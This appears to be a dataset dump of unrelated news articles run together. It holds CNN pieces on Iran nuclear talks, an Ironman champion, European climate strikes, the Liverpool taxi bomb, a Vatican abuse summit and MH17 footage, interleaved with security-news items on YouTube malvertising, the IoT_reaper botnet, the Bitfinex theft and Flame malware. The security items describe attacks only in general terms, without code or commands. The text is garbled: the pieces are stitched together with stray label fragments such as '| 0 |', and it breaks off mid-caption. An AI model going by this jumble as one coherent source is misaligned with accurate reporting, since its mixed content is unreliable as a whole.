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Story highlightsThe U.S. needs a "fair and real intention" to resolve the nuclear issue, Iran saysHolding off Iran "is becoming more complex," Israeli PM Netanyahu saysBiden held out the prospect of direct U.S.-Iran talks SaturdayIranian foreign minister says a new round of P5+1 talks will be held February 25 Iran will give "positive consideration" to a renewed prospect of one-on-one talks with the United States on its nuclear program, its foreign minister said Sunday.Foreign Minister Ali Akbar Salehi said a new round of talks between Iran and the five permanent U.N. Security Council members, plus Germany, would be held February 25 in Kazakhstan. Salehi spoke on the last day of the 49th Munich Security Conference, a day after U.S. Vice President Joe Biden said the Obama administration remains willing to hold direct talks with the Islamic Republic."That offer stands, but it must be real and tangible, and there has to be an agenda that they're prepared to speak to," Biden said. "We are not just prepared to do it for the exercise."The United States and Iran haven't had diplomatic relations since 1980. But U.S. and Iranian diplomats had occasional talks in Baghdad during the eight-year American war in Iraq, and U.S. President Barack Obama held out the prospect of talks with Iran when he came into office in 2009. Biden: U.S. open to direct talks with IranSalehi noted Sunday that both Biden and the new secretary of state, John Kerry, have mentioned the possibility of talks with Iran in recent days, and "We take these statements with positive consideration."JUST WATCHEDHow sanctions hurt Iran ReplayMore Videos ...MUST WATCHHow sanctions hurt Iran 02:35JUST WATCHEDWhat will 2013 bring for Iran, Israel? ReplayMore Videos ...MUST WATCHWhat will 2013 bring for Iran, Israel? 03:17Salehi said Iran has "no red line" for bilateral talks and is ready for negotiations over its nuclear program. But he added, "We have to make sure this time -- and this I think is very fair of us -- to make sure the other side this time comes with an authentic intention, with a fair and real intention, to resolve the issue." "Iran has defied international demands that it halt its production of enriched uranium, which it insists is to be used for civilian nuclear power and research reactors. But the United States and Israel have accused Iran of seeking the capability to produce nuclear weapons, and the International Atomic Energy Agency says it can no longer verify that Iran's nuclear program is strictly peaceful. Iran's refusal to shut down its uranium enrichment plants has led to tougher and tougher economic sanctions that have crippled its economy. An oil embargo and banking restrictions have crashed the Iranian currency, the rial. New U.S. sanctions imposed in January targeted a handful of companies and individuals that Washington says are providing materials and technology to Tehran's nuclear program. Biden said Saturday that U.S. policy "is to prevent Iran from acquiring a nuclear weapon," and said the clerical leadership in Tehran "need not sentence their people to economic deprivation and international isolation.""There is still time, there is still space for diplomacy -- backed by pressure -- to succeed," he said. "The ball is in the government of Iran's court, and it's well past time for Tehran to adopt a serious, good-faith approach to negotiations with the P-5 plus 1." During his confirmation hearing last week, Kerry told the Senate Foreign Relations Committee that if Iran can prove its nuclear work is peaceful, "That's what we're seeking." And Obama's nominee for secretary of defense, Chuck Hagel, has in the past called for direct talks with Iran. It was a point of contention during his confirmation hearing, with some Republicans accusing him of being too soft on Iran. Israeli Prime Minister Benjamin Netanyahu, meanwhile, has urged the United States -- his country's leading ally -- to set a "red line" for nuclear development and make clear that if Iran crosses that line, it would risk war. Netanyahu, who won a new mandate in January, said Sunday that the job of preventing a nuclear-armed Iran "is becoming more complex, since Iran is equipping itself with cutting-edge centrifuges that shorten the time of enrichment. We must not accept this process." | 0 |
More than one billion of unique visitor spend about 6 billion hours on YouTube to watch videos, according to monthly YouTube Stats. Security researchers from Bromium Labs recently found that YouTube advertising network has been abused by rogue advertisers to distribute malware.
YouTube In-Stream Ads were redirecting users to malicious websites, hosting the 'Styx Exploit Kit' and was exploiting client side vulnerabilities by drive-by-download attack to infect users' computer with Caphaw Banking Trojan.
The Exploitation process relied upon a Java vulnerability (CVE-2013-2460) and after getting dropped into the target computer system, the malware detects the Java version installed on the operating system and based upon it requests the suitable exploit.
"We don't yet know the exact bypass which the attackers used to evade Google's internal advertisement security checks. Google has informed us that they're conducting a full investigation of this abuse and will take appropriate measures." researchers said.
Further investigation has revealed that the banking malware uses Domain Generation Algorithm (DGA) for communicating with Command and Control server (C&C). The C&C panel of this Trojan seems to be hosted somewhere in Europe and the case is still under investigation. Caphaw Banking Malware has been marked as malicious by a number of anti-virus companies.
How many users had become victim of this attack is yet a question. Google has taken down the malvertisment campaign and is beefing up internal procedures to prevent such events from occurring again.
Oracle has already patched the respective Java vulnerability last year, So users are advised to keep their Java software up-to-date and install latest Security updates of the softwares and operating system.
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Story highlightsRyf has won four consecutive world titles The Swiss set a course record in 2018She was stung by a jellyfish in the warm upRyf enjoys brutal training regime (CNN)When you've spent months training for the Ironman World Championship in Hawaii, the last thing you want in the warm-up is to be stung by a jellyfish.Not once, but twice."I tried to convince myself that it didn't happen but obviously I could feel it very quickly. It felt like having fire under my arms," Daniela Ryf told CNN Sport.Follow @cnnsport
The searing pain before even starting the grueling event -- in which athletes take on a 2.4-mile swim, a 112-mile bike ride and a marathon (26.2 miles), all under a scorching Hawaiian sun -- might have derailed many participants.But the 31-year-old Ryf is one of a kind, and the Swiss refocused from her jellyfish encounters to clinch her fourth consecutive Ironman title last month.Read More"A bit of me wanted to go back to the hotel and cry but I thought that wouldn't really help much," said Ryf. "My team invested so much time to help me achieve everything. The race was my turn to give back."Visit cnn.com/sport for more news and videos Photos: Ironman World Championship 2018The Ironman World Championships have been held in Kailua-Kona, Hawaii, every year since 1978. This year's edition marked the event's 40th anniversary. More than 2000 athletes embarked on a 140.6-mile journey, putting their bodies to the ultimate test. Hide Caption 1 of 9 Photos: Ironman World Championship 2018The course starts with the swimming stage. Athletes swim in one giant 2.4-mile loop of the harbor. Hide Caption 2 of 9 Photos: Ironman World Championship 2018Athletes tread water while they wait for the start of the race. There are multiple categories for different age-groups and abilities. Hide Caption 3 of 9 Photos: Ironman World Championship 2018After completing the swim, athletes then embark on a 112-mile bike ride across the scorched island. Hide Caption 4 of 9 Photos: Ironman World Championship 2018Participants complete the event with a full marathon, running 26.2 miles in the blistering heat. Hide Caption 5 of 9 Photos: Ironman World Championship 2018Hawaii makes for an idyllic location for the grueling event. Hide Caption 6 of 9 Photos: Ironman World Championship 2018Temperatures in the 2018 race reached an estimated 120 degrees Fahrenheit. Athletes are provided with multiple water stops along the way. Hide Caption 7 of 9 Photos: Ironman World Championship 2018Daniela Ryf won the women's Ironman World Championship. The Swiss athlete was stung by jellyfish during the swim but recovered to take the title. Hide Caption 8 of 9 Photos: Ironman World Championship 2018Germany's Patrick Lange won the men's event to secure his second world title. He proposed to his girlfriend, Julia, at the finish line. She said yes...Hide Caption 9 of 9 Hawaiian paradise The "crazy" day rapidly improved for Ryf when she got out of the water and no longer needed her arms as much. She set a bike course record to make up the 10-minute deficit and extended her lead during an impressive run. Her efforts culminated in a new course record of eight hours and 26 minutes. Kailua-Kona, Hawaii, has hosted the annual Ironman World Championships for the last 40 years and the event has a special place in Ryf's heart. Since winning her maiden title in 2015, the Swiss is unbeaten on the course. As a result, she's developed a spiritual bond with the island and is already looking forward to returning next year. "Whenever I go back to Kona, it will give me goosebumps," she said.READ: Brazilian Grand Prix -- Reliving Lewis Hamilton's first world title 10 years onREAD: Patrick Lange -- Ironman World Champion proposed to girlfriend after record-setting raceRyf says the Hawaiian course has changed her life. 'Giving up isn't an option'Ryf struggles to explain what makes her better than everyone else. The truth is, it's a number of things. She has a pragmatic approach to everything she does, whether that be training, eating or competition.She has an incredible mentality which has helped her push through the pain barrier on countless occasions and remain positive throughout her glittering career. "If giving up isn't an option, you don't have to think about it," she said. "You then just need to figure out how to keep going."The body only does what the mind tells it to do. I told myself I wouldn't give up and that I'd be the champion."READ: 1,450 kilometers in 57 hours on two wheels ... listening to one song on repeatREAD: Lando Norris - The British teenager set to make Formula One historyRyf made up valuable time with a bike-course record in Hawaii. 'The longer stuff'Ryf comes from an active family. Her father was a rock climber and her mother used to run marathons. She remains eternally grateful for their support in the early stages of her career, even though she admits to never having aspirations of being world champion.Ryf started swimming and running when she was nine years old and initially saw training as just a chance to see her friends.Things started to become a little more serious when she joined a triathlon club at 13. "I then started to enjoy improving and that's still the same. I enjoy that feeling when your body gets stronger and fitter," she said. The young triathlete flourished, and she was selected to represent Switzerland in the 2008 Olympics in Beijing, finishing seventh over the Games distance of 0.93 miles of swimming, 24.8 miles on the bike and a 6.2-mile run . A second Summer Olympics followed four years later but Ryf was always drawn to the "longer stuff."Ryf won her first Ironman World Championship in 2015.The grueling regime Under the guidance of current coach Brett Sutton, Ryf stepped up to Ironman competitions. The pair haven't looked back since. Enjoying training is another factor behind her rise to the top of the sport. Ryf usually dedicates herself to three sessions a day, the first starting at 7 a.m. on an empty stomach.She then eats breakfast and rests before two more grueling sessions at 11 a.m. and 4 p.m.How Daniela Ryf broke the course record:2.4-mile swim: 00:57:27 112-mile bike: 4:26:0726.2 run: 2:57:05Total 140.6-miles: 8:26:18She admits it can be "boring" but is able to switch around the training sessions to keep her interested. Ryf's love for training is borne from her curiosity. It's what drives her to continue training during the off season. "It gives me something that makes me feel happy. I find it inspiring to see how your body gets stronger and fitter," she says. Ryf also enjoys changing the location of her base. Ahead of the success last month, she spent three months in the Swiss mountains before an additional four weeks training in the heat of Maui, Hawaii.But no matter where she trains, she always aims to be efficient. "It's not about how hard you train but how well you train," she said. "If you're prepared well, then you will be able to cope with the challenges in the race."The Swiss athlete usually trains three times a day. The first session starting at 7am. Chocolate and burgersShe applies a similarly pragmatic approach to her diet. Ryf uses huge amounts of energy on a daily basis, and how she eats is vital for refueling her body but also how she feels emotionally."I think it's about having that balance," she says. "Sometimes I eat chocolate or a burger that makes me feel good. I don't have to restrict myself too much." Unlike Patrick Lange, the winner of the men's division in this year's Ironman World Championships, Ryf is not a vegetarian. She believes meat, as well as fruit and vegetables, is important for her recovery."I try to keep it balanced which makes me the happiest. If you're happy, you're more balanced and your performance is better," she said. Ryf is enjoying some downtime after yet another successful season but is already looking ahead to defending her title next year. "It's pretty clear that I want to go back, it's not really a question," she said. "I've still got lots in me and I want to show more." | 0 |
Just a year after Mirai—biggest IoT-based malware that caused vast Internet outages by launching massive DDoS attacks—completed its first anniversary, security researchers are now warning of a brand new rapidly growing IoT botnet.
Dubbed 'IoT_reaper,' first spotted in September by researchers at firm Qihoo 360, the new malware no longer depends on cracking weak passwords; instead, it exploits vulnerabilities in various IoT devices and enslaves them into a botnet network.
IoT_reaper malware currently includes exploits for nine previously disclosed vulnerabilities in IoT devices from following manufactures:
Dlink (routers)
Netgear (routers)
Linksys (routers)
Goahead (cameras)
JAWS (cameras)
AVTECH (cameras)
Vacron (NVR)
Researchers believe IoT_reaper malware has already infected nearly two million devices and growing continuously at an extraordinary rate of 10,000 new devices per day.
This is extremely worrying because it took only 100,000 infected devices for Mirai to took down DNS provider Dyn last year using a massive DDoS attack.
Besides this, researchers noted that the malware also includes more than 100 DNS open resolvers, enabling it to launch DNS amplification attacks.
"Currently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance." Qihoo 360 researchers say.
Meanwhile, researchers at CheckPoint are also warning of probably same IoT botnet, named "IoTroop," that has already infected hundreds of thousands of organisations.
"It is too early to guess the intentions of the threat actors behind it, but with previous Botnet DDoS attacks essentially taking down the Internet, it is vital that organisations make proper preparations and defence mechanisms are put in place before attack strikes." researchers said.
According to CheckPoint, IoTroop malware also exploits vulnerabilities in Wireless IP Camera devices from GoAhead, D-Link, TP-Link, AVTECH, Linksys, Synology and others.
At this time it is not known who created this and why, but the DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size.
"Our research suggests we are now experiencing the calm before an even more powerful storm. The next cyber hurricane is about to come." CheckPoint researchers warned.
You need to be more vigilant about the security of your smart devices. In our previous article, we have provided some essential, somewhat practical, solutions to protect your IoT devices.
Also Read: How Drones Can Find and Hack Internet-of-Things Devices From the Sky.
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(CNN)Greta Thunberg was protesting in front of the Swedish parliament on Friday, just like she has almost every week for the past year. Wearing a yellow raincoat, her long brown hair in a single braid, the 16-year-old Thunberg held her now famous "School Strike For Climate" placard. "The climate crisis doesn't go on summer holiday, and neither will we," the teenage activist said in a tweet to rally her supporters around the world. For the past year, Thunberg's weekly sit-ins outside the parliament have gained a worldwide following, with students walking out of schools in well over 100 countries.The climate strikes appeared to nudge some of those in power. German Chancellor Angela Merkel praised the students for taking action. After initial reluctance, her government joined the European efforts to adopt an EU-wide emission target. In the UK, parliament declared a climate emergency and adopted new emission targets, partly in response to the protests. Read More'Ignored and ridiculed'Elsewhere, the students' actions were met with much less enthusiasm. In the Czech Republic, their efforts fell on deaf ears. "In response to our first strike, the [Czech parliament] debated climate change," the organizers of the protests in the Czech Republic said in a statement. "But the meeting only lasted a few hours and more than half of the deputies left the chamber at its start...we demanded action, but we were ridiculed and ignored."An EU proposal to slash carbon emissions to net zero by 2050 was blocked by four countriesDespite the students efforts in the streets, the Czech government was among the nations that blocked the EU's net zero emission proposal. The plan, debated at the European summit in June, would have resulted in the elimination of most greenhouse emissions in the bloc by 2050. Apart from the Czech Republic, three other member states -- Poland, Estonia and Hungary, vetoed the plan. "Why should we decide 31 years ahead of time what will happen in 2050?," Czech Prime Minister Andrej Babis told reporters at the meeting. "This exact kind of behavior is and was the reason why we started striking," Eva Matoušová, one of the Czech organizers of the student strikes, told CNN.Matoušová said that while there won't be official strikes over the summer, smaller, more local events will take place. The next major nationwide strike in the country is planned for September 20. "The Czech government's ongoing inability to take climate seriously is alarming... . It's clear that our common future is not their priority and that needs to change," she said.The result of the summit reflects, at least partly, the attitudes of people across the EU. According to Eurobarometer, a public opinion survey conducted by the European Commission in 2017, only 22% of Czechs, the lowest proportion in the entire EU, thought climate change was one of the four most serious problems facing the world. Poles, with 27%, were second to last. Yet in Sweden, one of the countries that pushed for the plan, 76% of people think climate change is the single most serious problem the world is facing. Climate economicsThomas Bernauer, the director of the Institute of Science, Technology and Policy at ETH Zurich university, said the divide comes down largely to economics. "In the wealthier European countries like Switzerland, or Germany, or Scandinavia, people have reached a certain level of well-being and pay attention to issues that go beyond their daily needs," he said."If you're in a very rich, liberal society, and you have a certain job, a sufficient income, enough food, housing, and so on, basically, you're contained on the material level, of course you can redefine things like climate change into something that is a basic need... . But say you're in Bulgaria or Portugal, and there's a 30% unemployment, and you have no prospects of finding a job, then it's a very different calculus," he said.Young environmental activists across the world skip school in a call to action The current European divide over climate policy illustrates much deeper economic, political and cultural divisions within the bloc, according to Mike Hulme, professor of Human Geography at the University of Cambridge, in the United Kingdom."You have 28 countries at very different stages of economic development... . It's partly about political leadership, it's partly about cultural values, norms, partly about religious beliefs, it's partly about geopolitics, and the perceptions of who holds power and influence in the world," he said.School strike week 46. The climate crisis doesn't go on summer holiday, and neither will we. We go on.#fridaysforfuture #schoolstrike4climate #climatestrike pic.twitter.com/JGdvAVaSjW— Greta Thunberg (@GretaThunberg) July 5, 2019
It's a practical question, too. Poland is the second largest coal producer in Europe. As much as 80% of its electricity comes from coal-burning plants. The sector employs tens of thousands of people, and is seen as strategic, allowing Poland the freedom of not relying on gas from Russian."It's a much easier thing to become emissions free when a country has other alternatives," said Darrick Evensen, lecturer in Environmental Politics at the University of Edinburgh. 'Climate apartheid' to push 120 million into poverty by 2030, UN saysPolitics is increasingly playing a role in the fight against climate change. In recent European election, Green parties scored significant victories, a reflection of the topic being on the minds of the voters.Climate change policies generally suffer from the discrepancy between their costs and benefits. The costs are high and imminent. Phasing out fossil fuels, which scientists say is necessary in order to limit global warming, will require huge investments into new technologies.The benefits, on the other hand, might only become apparent by the end of the century, when most of those paying the costs now will be long gone. That makes it hard for politicians to push for a change. "With environmental issues you're not seeing any near-term payout, that's the problem," said Darrick Evensen, lecturer in Environmental Politics at the University of Edinburgh. "But that's something that may be changing because of the protests, the politicians are starting to see, and we're seeing this in the UK, they do see a near-term payout for climate change legislation, because it can get them into power," he said. It's a calculation that works only when there are no other major issues. "If there's an economic crisis, urgency to create jobs, high inflation, or other things that create a lot of misery for people, those are the things that the electorate wants to be dealt with as a priority, but that doesn't mean that climate change is irrelevant," said Bernauer. Climate change lawsuits spreading around the world, says reportSweden is one of only a handful of countries that have adopted emission reduction targets in an effort to tackle climate change. On the international stage, the Swedes have been championing action on fossil fuels.Still, Greta Thunberg continues to spend her Fridays sitting in front of the Swedish parliament. She says she won't stop until Sweden is in line with the Paris Agreement. The 2015 accord aims to limit a global temperature rise this century to 1.5 degrees Celsius by dramatically cutting carbon emissions. According to Climate Action Network Europe, a coalition of NGOs, no European country, not even Sweden, is on track to fully meet its targets. "We will probably sit there for years to come," Thunberg told CNN. | 0 |
Over two months ago, the world's third largest Bitcoin Exchange Bitfinex lost around $72 Million worth of Bitcoins in a major hack.
Shortly after the company encountered a $72,000,000 Bitcoin theft, an unnamed Bitfinex user from Cambridge, Massachusetts, filed a police report in September, alleging that $1.3 Million of funds were stolen from his account.
Since then the Cambridge police have handed the case over to the FBI, which is working with the Bitcoin exchange as well as European authorities to recover funds stolen from the Bitfinex user, Coindesk reports.
The individual claimed that he held $3.4 Million in Bitcoin in his personal wallet hosted by the Bitfinex Bitcoin exchange. But following the August's Bitfinex breach, he was left with $2.1 Million in his account.
Bitfinex then notified the individual of his initial loss of approximately $1.3 Million in Bitcoin, but after the company issued IOU tokens as an emergency measure to keep the exchange operating, the loss incurred was reduced to just $720,000.
The IOUs or BFX tokens are a form of compensation provided to the victims to reduce their losses by a significant factor.
Although specific details remain still unclear, the Bitfinex user confirmed lose of funds beyond Bitfinex IOU tokens issued to all the victims of the breach.
The usability of the token is still unclear. Neither the explanation of tokens provided by Bitfinex is much clear, nor the legal status of the tokens is known.
"The BFX tokens will remain outstanding until repaid in full by Bitfinex or exchanged for shares of iFinex Inc," explains the company. "The specific conditions associated with the exchange of these tokens will be explained in a later announcement."
For the incident report filed by the Bitfinex user, you can head on to this link. No further details about the case are available at this moment.
Shortly after the breach of around $72 Million worth of its customers' Bitcoins, Hong Kong-based Bitcoin exchange announced a reward of $3.5 Million to anyone who can provide information that leads to the recovery of the stolen Bitcoins.
The incident was so big that the price of Bitcoin was dropped almost 20%, from $602.78 to $541 per Bitcoin, within a day after the announcement.
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London (CNN)UK police have declared the blast outside a hospital in Liverpool a terrorist incident and said they believed the explosion occurred when a man brought an improvised device into a taxi. Officers said Monday that a passenger is believed to have entered the vehicle with an explosive device that suddenly went off. The suspect died in the blast but the taxi driver managed to escape. Police have arrested four men, all aged in their 20s, and believe they know the identity of the suspect.Home Secretary Priti Patel said Monday that the UK's terror level had been raised from "substantial" to "severe" following the explosion, PA Media reported, meaning an attack is "highly likely." Patel noted that the blast marked Britain's second terrorist incident in a month, following the murder of lawmaker David Amess in October.Sunday's incident began when the driver of the taxi picked up a fare on a residential street in the northwest English city. A man entered and asked to be taken to Liverpool Women's Hospital, a short drive away, Assistant Chief Constable Russ Jackson of Counter Terrorism North West said at a press conference on Monday."Our enquiries indicate that an improvised explosive device has been manufactured and our assumption so far is that this was built by the passenger in the taxi," Jackson said.Read MoreSurveillance camera footage appears to show the taxi slowing to a stop in the hospital's car park a few minutes later, before a sudden blast takes place. A man is seen leaving the car before it is quickly engulfed in flames.A specialist inspects the scene of the blast outside the Women's Hospital in Liverpool on Sunday. The hospital specializes in a range of women's healthcare fields, including midwifery and postnatal care, gynecology and terminations of pregnancy. It delivers around 8,500 babies and performs 10,000 gynecological procedures each year, according to its website.Police said the motivation for the incident is unclear, and did not confirm that the hospital was the target. Jackson said police were "aware" of a nearby Remembrance Sunday event commemorating Britain's war dead.Services around the UK held a two-minute silence at 11 a.m. local time on Sunday, moments after the explosion occurred. "We cannot at this time draw any connection with this. But it is a line of inquiry which we are pursuing," Jackson said.He confirmed that two addresses were searched in the city following the explosion, and "significant items have been found" by officers.Three men -- aged aged 29, 26 and 21 -- were arrested at one address, and a fourth man, aged 20, was later detained.The driver of the cab has been praised by Boris Johnson for preventing a larger blast, with the Prime Minister saying Monday that "it does look as though the taxi driver in question did behave with incredible presence of mind and bravery," according to PA Media. Liverpool's mayor Joanne Anderson added to the BBC on Monday: "What an awful experience, and jumping out of the taxi, he's lucky to have escaped.Anderson said the incident could have been far worse. "It doesn't bear thinking about, and what a heroic effort from the taxi driver," she said, praising his "quick thinking to lock the taxi and get out of the taxi." | 0 |
Flame Malware Spread Via Rogue Microsoft Security Certificates
Microsoft released an emergency Windows update on Sunday after revealing that one of its trusted digital signatures was being abused to certify the validity of the Flame malware that has infected computers in Iran and other Middle Eastern Countries.
The patch revoked three intermediate Microsoft certificates used in active attacks to "spoof content, perform phishing attacks, or perform man-in-the-middle attacks".Microsoft also killed off certificates that were usable for code signing via Microsoft's Terminal Services licensing certification authority (CA) that ultimately "chained up" to the Microsoft Root Authority.The authority issued certificates for users to authorise Remote Desktop services in their enterprises.
The Microsoft blog post explains that a vulnerability in an old cryptography algorithm is exploited by some elements of Flame to make them appear as if they originated from Microsoft. Most systems around the world accept officially-signed Microsoft code as safe by default, so the malware would enter unnoticed.
Windows users are urged to install the new KB2718704 patch. If you enabled Automatic Updates, the patch should automatically install. If not, you can open Windows Update on your PC and manually install it.
Since the virus is highly targeted and can be caught by most antivirus programs, the "vast majority of customers are not at risk," according to Microsoft.
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Rome (CNN)In a remarkable admission, German Cardinal Reinhard Marx said Saturday that documents that could have contained proof of clergy sexual abuse in the Catholic Church were destroyed or never drawn up."Files that could have documented the terrible deeds and named those responsible were destroyed or not even created," said Marx, the archbishop of Munich and president of the German Bishops' Conference."The stipulated procedures and processes for the prosecution offenses were deliberately not complied with," he added, "but instead canceled and overridden."Such standard practices will make it clear that it is not transparency which damages the church, but rather the acts of abuse committed, the lack of transparency, or the ensuing coverup."Marx's stunning admission came on the third day of a historic Vatican summit focused on combating clergy sexual abuse. The day's theme was transparency, which Marx said could help to tackle abuse of power. Read MoreA member of Pope Francis' inner circle of advisers, Marx is one of the most powerful men in the Catholic Church. The four-day summit of 190 Catholic leaders, including 114 bishops from around the world, will conclude Sunday with an address by Pope Francis. On Thursday, at the beginning of the unprecedented summit, Francis urged the bishops to take "concrete measures" to combat the clergy abuse scandal. At a press conference later Saturday, Marx said that the information about destroying files came from a study commissioned by German bishops in 2014. The study was "scientific" and did not name the particular church leaders or dioceses in Germany that destroyed the files."The study indicates that some documents were manipulated or did not contain what they should have contained," Marx said. "The fact in itself cannot be denied."Marx said he doubts the destruction of files related to clergy sexual abuse was limited to one diocese."I assume Germany is not an isolated case."The report commissioned by the German bishops also revealed that "at least" 3,677 cases of child sex abuse by German clergy occurred between 1946 and 2014. CNN's Lauren Said-Moorhouse and Livvy Doherty contributed to this report. | 0 |
Story highlightsFootage shows a man in combat fatigues emptying a backpack on the groundNews Corp Australia reports Russian-backed rebels filmed the video"It is disgusting to watch that video footage," Australian foreign affairs minister says (CNN)A year after Malaysia Airlines Flight 17 was shot down over Ukraine, Australian leaders have slammed harrowing video footage that appears to show Russian-speaking fighters rifling through the belongings of victims at the crash site.News Corp Australia published the video Friday as relatives of the 298 people killed aboard the commercial airliner still wait for those responsible to be brought to justice.The footage shows smoldering wreckage strewn across a grassy field. At one point, a man dressed in combat fatigues dumps clothes and other belongings out of a backpack. In the background, voices can be heard speaking Russian, telling "civilians" to leave the area.People talking off camera remark that the aircraft was a passenger plane carrying foreigners. One of them asks how it was allowed to fly through the area.Read MoreNews Corp Australia reported that Russian-backed rebels filmed the footage using a camcorder.CNN couldn't immediately verify whether the video is authentic or who the people in it are. But top government officials in Australia, 38 of whose citizens and residents were on the aircraft, spoke out about it.News Corp Australia flagged the footage as new in its reports Friday, but it appears at least some may already have been in the public domain.Minister: 'It is disgusting'"It is disgusting to watch that video footage," Australian Foreign Affairs Minister Julie Bishop told CNN affiliate Sky News. "I can't verify the authenticity of it, but it is certainly consistent with all that we were told, the advice that we received 12 months ago, that Flight MH17 had been shot down by a missile in eastern Ukraine and that the pro-Russian separatists were involved."JUST WATCHEDMH17 tragedy: One year laterReplayMore Videos ...MUST WATCHMH17 tragedy: One year later 03:08Multiple Western nations, as well as the Ukrainian government, have said they believe pro-Russian rebels operating in the region shot down the plane. Rebel leaders and the Russian government have repeatedly disputed the accusations.The crash site was in an area of war-torn eastern Ukraine largely controlled by rebel groups.Australian Prime Minister Tony Abbott said the video "highlights the fact that this was an atrocity, it was in no way an accident. They may not have known that they were shooting down a civilian passenger plane, but they were deliberately shooting out of the sky what they knew was a large aircraft.""We are confident that it was weaponry that came across the border from Russia, fired and then shortly thereafter -- once it was realized what had happened -- it went back into Russia," Abbott said in an interview with the Australian Broadcasting Corp.MH17: What they left behindChaos at crash siteReports of people going through victims' belongings at the chaotic, unsecured MH17 crash site aren't new. Western and Ukrainian leaders criticized such acts last year. Photos: Malaysia Airlines Flight 17 crashes in Ukraine Photos: Malaysia Airlines Flight 17 crashes in UkraineDebris from Malaysia Airlines Flight 17 sits in a field at the crash site in Hrabove, Ukraine, on September 9, 2014. The Boeing 777 was shot down July 17, 2014, over Ukrainian territory controlled by pro-Russian separatists. All 298 people on board were killed. In an October 2015 report, Dutch investigators found the flight was shot down by a warhead that fit a Buk rocket, referring to Russian technology, Dutch Safety Board Chairman Tjibbe Joustra said.Hide Caption 1 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineAustralian and Dutch experts examine the area of the crash on August 3, 2014.Hide Caption 2 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman walks with her bicycle near the crash site on August 2, 2014.Hide Caption 3 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePolice secure a refrigerated train loaded with bodies of passengers from Malaysia Airlines Flight 17 as it arrives in a Kharkiv, Ukraine, factory on July 22, 2014. Hide Caption 4 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA pro-Russian rebel passes wreckage from the crashed jet near Hrabove on Monday, July 21, 2014.Hide Caption 5 of 58 Photos: Malaysia Airlines Flight 17 crashes in Ukraine – Wreckage from the jet lies in grass near Hrabove on July 21, 2014.Hide Caption 6 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man covers his face with a rag as members of the Organization for Security and Co-operation in Europe and the Dutch National Forensic Investigations Team inspect bodies in a refrigerated train near the crash site in eastern Ukraine on July 21, 2014.Hide Caption 7 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineEmergency workers carry a victim's body in a bag at the crash site on July 21, 2014.Hide Caption 8 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA piece of the plane lies in the grass in eastern Ukraine's Donetsk region on July 21, 2014.Hide Caption 9 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineAn armed pro-Russian rebel stands guard next to a refrigerated train loaded with bodies in Torez, Ukraine, on Sunday, July 20, 2014.Hide Caption 10 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineUkrainian State Emergency Service employees sort through debris on July 20, 2014, as they work to locate the deceased.Hide Caption 11 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman covers her mouth with a piece of fabric July 20, 2014, to ward off smells from railway cars that reportedly contained passengers' bodies.Hide Caption 12 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineToys and flowers sit on the charred fuselage of the jet as a memorial on July 20, 2014.Hide Caption 13 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople search a wheat field for remains in the area of the crash site on July 20, 2014. Hide Caption 14 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman walks among charred debris at the crash site on July 20, 2014.Hide Caption 15 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineEmergency workers load the body of a victim onto a truck at the crash site on Saturday, July 19, 2014. Hide Caption 16 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineEmergency workers carry the body of a victim at the crash site on July 19, 2014. Hide Caption 17 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA large piece of the main cabin is under guard at the crash site on July 19, 2014. Hide Caption 18 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineVictims' bodies are placed by the side of the road on July 19, 2014, as recovery efforts continue at the crash site. International officials lament the lack of a secured perimeter.Hide Caption 19 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man looks through the debris at the crash site on July 19, 2014. Hide Caption 20 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineAn envelope bearing the Malaysia Airlines logo is seen at the crash site on July 19, 2014. Hide Caption 21 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineArmed rebels walk past large pieces of the Boeing 777 on July 19, 2014. Hide Caption 22 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineUkrainian rescue workers walk through a wheat field with a stretcher as they collect the bodies of victims on July 19, 2014.Hide Caption 23 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman looks at wreckage on July 19, 2014.Hide Caption 24 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePro-Russian rebels stand guard as the Organization for Security and Co-operation in Europe delegation arrives at the crash site on Friday, July 18, 2014. Hide Caption 25 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman walks through the debris field on July 18, 2014. Hide Caption 26 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePro-Russian rebels stand guard at the crash site.Hide Caption 27 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineWreckage from Flight 17 lies in a field in Shaktarsk, Ukraine, on July 18, 2014.Hide Caption 28 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man covers a body with a plastic sheet near the crash site on July 18, 2014. The passengers and crew hailed from all over the world, including Australia, Indonesia, Malaysia, Germany and Canada. Hide Caption 29 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA diver searches for the jet's flight data recorders on July 18, 2014.Hide Caption 30 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineCoal miners search the crash site.Hide Caption 31 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineWreckage from the Boeing 777 lies on the ground July 18, 2014.Hide Caption 32 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople search for bodies of passengers on July 18, 2014. Hide Caption 33 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA woman walks past a body covered with a plastic sheet near the crash site July 18, 2014.Hide Caption 34 of 58 Photos: 